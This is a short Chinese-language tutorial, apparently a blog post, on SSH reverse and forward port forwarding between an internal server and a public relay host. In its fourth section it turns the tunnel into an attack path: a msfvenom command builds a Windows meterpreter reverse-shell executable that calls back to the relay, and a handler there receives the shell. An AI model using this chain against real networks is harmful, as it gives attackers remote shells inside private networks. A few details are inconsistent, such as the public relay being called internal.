0. 概况说明:
| 机器 | IP | 用户名 | 备注 |
|---|---|---|---|
| A | 192.168.1.10 | root | 目标服务器, 处于内网 |
| B | 106.13.55.126 | root | 外网服务器, 相当于桥梁的作用 |
1. ssh参数:
1.1 反向代理
ssh -fCNR
1.2 正向代理
ssh -fCNL
-f 后台执行ssh指令
-C 允许压缩数据
-N 不执行远程指令
-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-L 将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-p 指定远程主机的端口
2. 首先在A上面操作:
# 建立A机器到B机器的反向代理, 具体指令为
ssh -fCNR [B机器IP或省略]:[B机器端口]:[A机器的IP]:[A机器端口] [登陆B机器的用户名@服务器IP]
# 在这里我使用了B机器的6666端口, 以及A机器的5555端口, 按照上面的指令就是这样子的操作
ssh -fCNR 6666:localhost:5555 root@106.13.55.126
3. 接着在B上面操作:
# 建立B机器的正向代理, 用来做转发, 具体指令为
ssh -fCNL [A机器IP或省略]:[A机器端口]:[B机器的IP]:[B机器端口] [登陆B机器的用户名@B机器的IP]
# 按照第3那里输入的指令, 这里的B机器的端口和上面的B机器的端口是一致的, 端口1234的也是B机器的。
ssh -fCNL *:7777:localhost:6666 localhost
在此7777端口为本地转发端口, 负责和外网进行通信, 并将数据转发的6666这个端口, 实现了可以从其他机器访问的功能。同时, *号表示可以接受任何IP的访问。
实现外网shell
4. 使用 msf 生成后门, 反弹到 B:7777
msfvenom -p windows/meterpreter/reverse_tcp LHOST=B_IP LPORT=7777 -f exe > /root/test.exe
然后在内网主机 B 设置好 handler
这样我们便利用ssh完成了端口转发！
5. 不足
但是这种ssh反向链接会因为超时而关闭, 如果关闭了那从外网连通内网的通道就无法维持了
